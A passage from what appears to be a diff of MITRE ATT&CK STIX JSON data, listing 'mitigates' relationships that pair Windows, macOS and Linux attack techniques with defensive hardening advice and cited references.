functions.\n\nDisable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:53:20.331Z", + "id": "relationship--39962764-cf46-4f39-9dd9-95b0ced56d93", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-18T17:15:10.832Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", + "description": "Prevent plist files from being modified by users by making them read-only.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T11:58:11.888Z", + "id": "relationship--cbbb1dfc-b66c-42d7-828d-6af82c396d78", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-06-25T11:58:11.888Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "description": "Require that all executables be placed in write-protected directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:02:27.819Z", + "id": "relationship--458eb231-ded2-4941-aeaa-875263ac20ab", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T17:08:41.224Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "description": "Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:02:27.823Z", + "id": "relationship--cef9c309-edd5-48a6-afc9-de7e13a0cc05", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-18T17:08:41.225Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate. \n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:02:27.825Z", + "id": "relationship--b113c982-66fb-4a19-b85d-f1f33f045d2b", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-18T17:08:41.219Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "source_name": "MSDN DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx" + }, + { + "source_name": "Kanthak Sentinel", + "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "url": "https://skanthak.homepage.t-online.de/sentinel.html" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:09:15.655Z", + "id": "relationship--62d8cec2-c94f-4a18-ab0a-0a182e30f33a", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-10-08T21:10:31.795Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:15:00.109Z", + "id": "relationship--ffa8f46b-615f-4b95-8ed5-90f86eaedd20", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "modified": "2019-06-25T12:15:00.109Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:17:31.734Z", + "id": "relationship--30cd48e4-915e-430b-ab79-da6dfead0e52", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-06-25T12:17:31.734Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:25:23.792Z", + "id": "relationship--651225d6-5454-4c44-8d62-776bd7ddaed2", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-10-23T14:20:49.831Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:25:23.800Z", + "id": "relationship--32d482c4-2c0d-4688-a38b-d73b5b2962a3", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-10-23T14:20:49.852Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:29:05.208Z", + "id": "relationship--b5bb955f-cf1c-4398-9766-d06b30dfe326", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-31T19:23:30.006Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:29:05.217Z", + "id": "relationship--0672855a-d701-45fc-ba05-872561b46086", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-31T19:23:30.013Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:31:57.676Z", + "id": "relationship--81bb4898-aaa2-4dff-9af8-a97e6b69a95a", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "modified": "2019-06-25T12:31:57.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:34:17.206Z", + "id": "relationship--4fd60107-7025-4398-a53e-ef830c606e96", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-18T16:20:52.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "Use file system access controls to protect folders such as C:\\\\Windows\\\\System32.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:37:30.052Z", + "id": "relationship--72de6e56-e5d1-4a3f-aa85-d7155f7ff42c", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-09-10T17:44:59.799Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "Require signed binaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:37:30.078Z", + "id": "relationship--4fd3ec25-00ed-48c1-af72-e2523959860e", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-09-10T17:44:59.814Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "description": "Ensure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:42:56.894Z", + "id": "relationship--865b8971-408c-481c-8879-616f8a08eab0", + "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "modified": "2019-07-18T15:35:28.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL to dword:00000001. LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:42:56.899Z", + "id": "relationship--eaaa3ad9-1bac-4355-901a-7ea888ab4bdc", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-07-18T15:35:28.302Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "description": "Holding the shift key during login prevents apps from opening automatically.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T12:57:26.767Z", + "id": "relationship--94fda004-858c-4128-93d8-2fe3bb4a4930", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-07-18T15:33:06.155Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "description": "Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:11:18.047Z", + "id": "relationship--05b79234-c4ce-4045-8939-540f499c3486", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-10T15:57:52.604Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "source_name": "byt3bl33d3r NTLM Relaying", + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html" + }, + { + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "source_name": "Secure Ideas SMB Relay", + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html" + }, + { + "description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.", + "source_name": "Microsoft SMB Packet Signing", + "url": "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:11:18.057Z", + "id": "relationship--26cd85f0-1080-4171-a307-b5736130b0ad", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-06-25T13:11:18.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:12:54.888Z", + "id": "relationship--072e8adb-63ae-46ca-bb64-1bf0b48c1bdd", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-07-18T15:29:32.506Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:32:35.974Z", + "id": "relationship--ed38d8a3-4b4e-46fa-893b-2bcfd0589442", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-07-18T15:28:31.861Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "description": "Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\\u2019t included as part of an update, it should be investigated.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:32:35.994Z", + "id": "relationship--886aa8d9-b95e-4577-812a-f1ddcedbe70f", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-18T15:28:31.859Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "description": "Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:52:04.919Z", + "id": "relationship--1aeaa8be-107b-4ce3-8725-0ebff7adcccb", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-18T15:24:28.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kernel.org Restrict Kernel Module", + "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018.", + "url": "https://patchwork.kernel.org/patch/8754821/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "description": "Common tools for detecting Linux rootkits include: rkhunter, chrootkit, although rootkits may be designed to evade certain detection tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:52:04.943Z", + "id": "relationship--13cb72a2-3499-47cb-8814-f46fe79cf435", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "modified": "2019-07-18T15:24:28.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SourceForge rkhunter", + "description": "Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.", + "url": "http://rkhunter.sourceforge.net" + }, + { + "source_name": "Chkrootkit Main", + "description": "Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.", + "url": "http://www.chkrootkit.org/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "description": "Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:55:45.209Z", + "id": "relationship--1f69c26b-7c34-40c8-8660-f505ad99ada6", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T15:18:23.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:55:45.234Z", + "id": "relationship--6f81600d-9fb3-445b-b70b-a88d4adf5319", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-07-18T15:18:23.697Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. Also consider using Group Managed Service Accounts or another third party product such as password vaulting.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:55:45.238Z", + "id": "relationship--efc4d5ac-af07-4484-abf1-77144aa7152e", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-18T15:18:23.702Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", + "description": "InstallUtil may not be necessary within a given environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:59:33.483Z", + "id": "relationship--f00b00c8-0c1c-4546-9751-25ea4f538255", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-31T18:11:14.362Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", + "description": "Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T13:59:33.502Z", + "id": "relationship--f1df1a1e-2b64-4308-8f0c-f22221946677", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-31T18:11:14.373Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "description": "Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:06:03.294Z", + "id": "relationship--f5ea26e5-4f67-4775-9fc7-a510617a9197", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-06-25T14:06:03.294Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:09:38.730Z", + "id": "relationship--60151204-5c0c-4d18-8582-4d0fad22ed08", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "modified": "2019-07-18T15:02:36.950Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:09:38.745Z", + "id": "relationship--185c194a-5823-46e4-9719-9de48c3c1734", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-07-18T15:02:36.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:09:38.748Z", + "id": "relationship--6db4729b-596c-43c1-81f4-d374a2f2e06b", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-18T15:02:36.942Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "description": "Ensure event tracers/forwarders, firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-25T14:14:54.409Z", + "id": "relationship--865fe9a3-35e7-4c5f-9292-fcf65f255615", + "source_ref": 